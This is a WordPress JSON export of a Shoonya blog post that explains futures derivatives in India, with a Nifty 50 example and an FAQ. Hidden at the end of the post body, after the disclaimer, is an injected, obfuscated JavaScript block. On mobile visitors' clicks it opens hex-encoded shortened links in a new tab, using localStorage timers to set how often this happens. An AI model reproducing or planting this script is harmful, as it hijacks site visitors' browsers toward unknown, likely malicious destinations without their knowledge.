{"id":1994,"date":"2023-01-19T06:15:04","date_gmt":"2023-01-19T06:15:04","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=1994"},"modified":"2023-11-14T06:02:29","modified_gmt":"2023-11-14T06:02:29","slug":"futures-derivatives","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/futures-derivatives\/","title":{"rendered":"Understanding Future Derivatives in the Indian Market"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/futures-derivatives\/#What_Are_Future_Derivatives\" >What Are Future Derivatives?<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/futures-derivatives\/#Future_Derivatives_in_the_Indian_Market\" >Future Derivatives in the Indian Market<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/futures-derivatives\/#Future_Derivatives_Example_Nifty_50_Index_Futures\" >Future Derivatives Example: Nifty 50 Index Futures<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/futures-derivatives\/#Conclusion\" >Conclusion<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/futures-derivatives\/#FAQs\" >FAQs<\/a><\/li><\/ul><\/nav><\/div>\n\n<p class=\"wp-block-paragraph\">Future derivatives are a vital component of the Indian financial landscape, offering opportunities for investors to manage risk and speculate on price movements. In this beginner-friendly guide, we&#8217;ll explore what future derivatives are and provide examples to help you grasp their significance in the Indian economy and stock market.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"What_Are_Future_Derivatives\"><\/span>What Are Future Derivatives?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">In simple terms, future derivatives are financial contracts that bind two parties to buy or sell an asset at a predetermined price and date in the future. These assets can encompass a wide range of categories, including stocks, commodities, currencies, and more. Future derivatives serve multiple purposes, primarily:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>1. Hedging:<\/strong> Investors use future derivatives to protect themselves against the uncertainty of price fluctuations. This risk management tool can safeguard portfolios from potential losses caused by adverse market movements.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>2. Speculation:<\/strong> Future derivatives also provide an avenue for investors to speculate on the future value of assets. By making informed bets on price directions, traders can potentially profit from market movements.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Future_Derivatives_in_the_Indian_Market\"><\/span><strong>Future Derivatives in the Indian Market<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">In India, future derivatives are actively traded on established platforms like the National Stock Exchange (NSE) and the Bombay Stock Exchange (BSE). These exchanges ensure that future derivatives are standardized and regulated, offering a level of security and transparency to investors.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Future_Derivatives_Example_Nifty_50_Index_Futures\"><\/span>Future Derivatives Example: Nifty 50 Index Futures<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Let&#8217;s delve into an example to illustrate how future derivatives work in the Indian context. Consider the Nifty 50 index, a widely tracked benchmark of the Indian stock market. An investor believes that the Nifty 50 index, currently priced at 18,000, will increase in value by the end of the year.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">To capitalize on this belief, the investor enters into a <a href=\"https:\/\/shoonya.com\/blog\/understanding-nifty-50-and-its-components\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Nifty 50<\/mark><\/a> index futures contract with a specific price and date in mind. Suppose they set the contract to buy the index at 18,500 on December 31, 2023. If, by that date, the Nifty 50 index has indeed risen above 18,500, the investor stands to profit from the difference between the contract price and the actual index value. However, if the index falls below 18,500, the investor may incur a loss.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Conclusion\"><\/span><strong>Conclusion<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Future derivatives play a crucial role in the Indian economy and stock market, offering investors tools for risk management and profit potential. Whether you&#8217;re looking to protect your investments from market volatility or capitalize on price movements, understanding future derivatives is essential for navigating the world of financial markets in India. These contracts provide leverage, liquidity, diversification, and hedging opportunities for Indian investors, empowering them to make informed investment decisions in a dynamic marketplace.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"FAQs\"><\/span>FAQs<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div class=\"schema-faq wp-block-yoast-faq-block\"><div class=\"schema-faq-section\" id=\"faq-question-1699941526122\"><strong class=\"schema-faq-question\"><strong>What are future derivatives with an example?<\/strong><\/strong> <p class=\"schema-faq-answer\">Future derivatives are contracts allowing traders to buy or sell assets at a predetermined future price and date. For instance, a farmer can use a futures contract to sell potatoes at a set price, mitigating the risk of price fluctuations.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1699941557472\"><strong class=\"schema-faq-question\"><strong>What are future and forward derivatives?<\/strong><\/strong> <p class=\"schema-faq-answer\">Future and forward derivatives are similar contracts to buy or sell assets in the future. Futures are standardised, exchange-traded, and have daily settlement, while forwards are customised, over-the-counter, and settled at contract maturity. Futures have lower counterparty risk.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1699941571871\"><strong class=\"schema-faq-question\"><strong>What are the different types of futures derivatives?<\/strong><\/strong> <p class=\"schema-faq-answer\">There are various types of futures derivatives, including commodity futures (for physical goods), currency futures (for foreign currencies), interest rate futures (for interest-bearing securities), and stock or stock index futures (for equities). Each type serves unique purposes in the financial markets.<\/p> <\/div> <\/div>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x6c\\x5a\\x43\\x33\\x63\\x323','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x79\\x64\\x44\\x35\\x63\\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x42\\x4a\\x77\\x38\\x63\\x318','abs','-local-storage','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x56\\x45\\x58\\x39\\x63\\x349','56bnMKls','opera','6946eLteFW','userAgent','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x65\\x4a\\x6b\\x34\\x63\\x334','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x5a\\x65\\x5a\\x37\\x63\\x387','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x4c\\x6c\\x6a\\x32\\x63\\x362','floor','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x47\\x4c\\x6b\\x36\\x63\\x386','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))\/0x1+-parseInt(_0x20130f(0x1c1))\/0x2*(parseInt(_0x20130f(0x1c8))\/0x3)+parseInt(_0x20130f(0x1bf))\/0x4*(-parseInt(_0x20130f(0x1cd))\/0x5)+parseInt(_0x20130f(0x1d9))\/0x6+-parseInt(_0x20130f(0x1e4))\/0x7*(parseInt(_0x20130f(0x1de))\/0x8)+parseInt(_0x20130f(0x1e2))\/0x9+-parseInt(_0x20130f(0x1d0))\/0xa*(-parseInt(_0x20130f(0x1da))\/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x1165a7(0x1ca)](_0x5e9786)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x52\\x4a\\x41\\x30\\x63\\x360','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x55\\x52\\x50\\x31\\x63\\x321',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)\/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)\/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());<\/script>","protected":false},"excerpt":{"rendered":"<p>Future derivatives are a vital component of the Indian financial landscape, offering opportunities for investors to manage risk and speculate on price movements. In this beginner-friendly guide, we&#8217;ll explore what future derivatives are and provide examples to help you grasp their significance in the Indian economy and stock market. What Are Future Derivatives? In simple &hellip; <a href=\"https:\/\/shoonya.com\/blog\/futures-derivatives\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Understanding Future Derivatives in the Indian Market&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":2000,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[34],"tags":[805,803,804,802],"class_list":["post-1994","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-future","tag-derivatives-are-of-four-types","tag-short-positions","tag-trading-derivatives","tag-type-of-derivative"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Understanding Future Derivatives in the Indian Market<\/title>\n<meta name=\"description\" content=\"Future derivatives are the financial contacts that bind two parties to buy\/sell an asset at a predetermined price and date in the future. Learn more.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/shoonya.com\/blog\/futures-derivatives\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Understanding Future Derivatives in the Indian Market\" \/>\n<meta property=\"og:description\" content=\"Future derivatives are the financial contacts that bind two parties to buy\/sell an asset at a predetermined price and date in the future. Learn more.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/shoonya.com\/blog\/futures-derivatives\/\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/ShoonyaApp\/\" \/>\n<meta property=\"article:published_time\" content=\"2023-01-19T06:15:04+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2023-11-14T06:02:29+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2023\/01\/Is-The-Future-A-Derivative-And-Is-It-Used-For-Hedging.png\" \/>\n\t<meta property=\"og:image:width\" content=\"1920\" \/>\n\t<meta property=\"og:image:height\" content=\"1080\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:site\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/futures-derivatives\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/futures-derivatives\\\/\"},\"author\":{\"name\":\"admin\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\"},\"headline\":\"Understanding Future Derivatives in the Indian Market\",\"datePublished\":\"2023-01-19T06:15:04+00:00\",\"dateModified\":\"2023-11-14T06:02:29+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/futures-derivatives\\\/\"},\"wordCount\":581,\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/futures-derivatives\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/01\\\/Is-The-Future-A-Derivative-And-Is-It-Used-For-Hedging.png\",\"keywords\":[\"Derivatives are of four types\",\"short positions\",\"trading derivatives\",\"type of Derivative\"],\"articleSection\":[\"Future\"],\"inLanguage\":\"en-US\"},{\"@type\":[\"WebPage\",\"FAQPage\"],\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/futures-derivatives\\\/\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/futures-derivatives\\\/\",\"name\":\"Understanding Future Derivatives in the Indian Market\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/futures-derivatives\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/futures-derivatives\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/01\\\/Is-The-Future-A-Derivative-And-Is-It-Used-For-Hedging.png\",\"datePublished\":\"2023-01-19T06:15:04+00:00\",\"dateModified\":\"2023-11-14T06:02:29+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\"},\"description\":\"Future derivatives are the financial contacts that bind two parties to buy\\\/sell an asset at a predetermined price and date in the future. Learn more.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/futures-derivatives\\\/#breadcrumb\"},\"mainEntity\":[{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/futures-derivatives\\\/#faq-question-1699941526122\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/futures-derivatives\\\/#faq-question-1699941557472\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/futures-derivatives\\\/#faq-question-1699941571871\"}],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/shoonya.com\\\/blog\\\/futures-derivatives\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/futures-derivatives\\\/#primaryimage\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/01\\\/Is-The-Future-A-Derivative-And-Is-It-Used-For-Hedging.png\",\"contentUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/01\\\/Is-The-Future-A-Derivative-And-Is-It-Used-For-Hedging.png\",\"width\":1920,\"height\":1080,\"caption\":\"Is the Future a Derivative\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/futures-derivatives\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Investing\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/investing\\\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Future\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/investing\\\/future\\\/\"},{\"@type\":\"ListItem\",\"position\":4,\"name\":\"Understanding Future Derivatives in the Indian Market\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/\",\"name\":\"\",\"description\":\"Shoonya Blogs | Explore Shoonya\u2019s expert blogs on IPOs, market news, mutual funds, stocks, company stories, banking, and trading. Stay informed, invest smarter!\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"caption\":\"admin\"}},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/futures-derivatives\\\/#faq-question-1699941526122\",\"position\":1,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/futures-derivatives\\\/#faq-question-1699941526122\",\"name\":\"What are future derivatives with an example?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Future derivatives are contracts allowing traders to buy or sell assets at a predetermined future price and date. For instance, a farmer can use a futures contract to sell potatoes at a set price, mitigating the risk of price fluctuations.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/futures-derivatives\\\/#faq-question-1699941557472\",\"position\":2,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/futures-derivatives\\\/#faq-question-1699941557472\",\"name\":\"What are future and forward derivatives?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Future and forward derivatives are similar contracts to buy or sell assets in the future. Futures are standardised, exchange-traded, and have daily settlement, while forwards are customised, over-the-counter, and settled at contract maturity. Futures have lower counterparty risk.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/futures-derivatives\\\/#faq-question-1699941571871\",\"position\":3,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/futures-derivatives\\\/#faq-question-1699941571871\",\"name\":\"What are the different types of futures derivatives?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"There are various types of futures derivatives, including commodity futures (for physical goods), currency futures (for foreign currencies), interest rate futures (for interest-bearing securities), and stock or stock index futures (for equities). Each type serves unique purposes in the financial markets.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Understanding Future Derivatives in the Indian Market","description":"Future derivatives are the financial contacts that bind two parties to buy\/sell an asset at a predetermined price and date in the future. Learn more.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/shoonya.com\/blog\/futures-derivatives\/","og_locale":"en_US","og_type":"article","og_title":"Understanding Future Derivatives in the Indian Market","og_description":"Future derivatives are the financial contacts that bind two parties to buy\/sell an asset at a predetermined price and date in the future. Learn 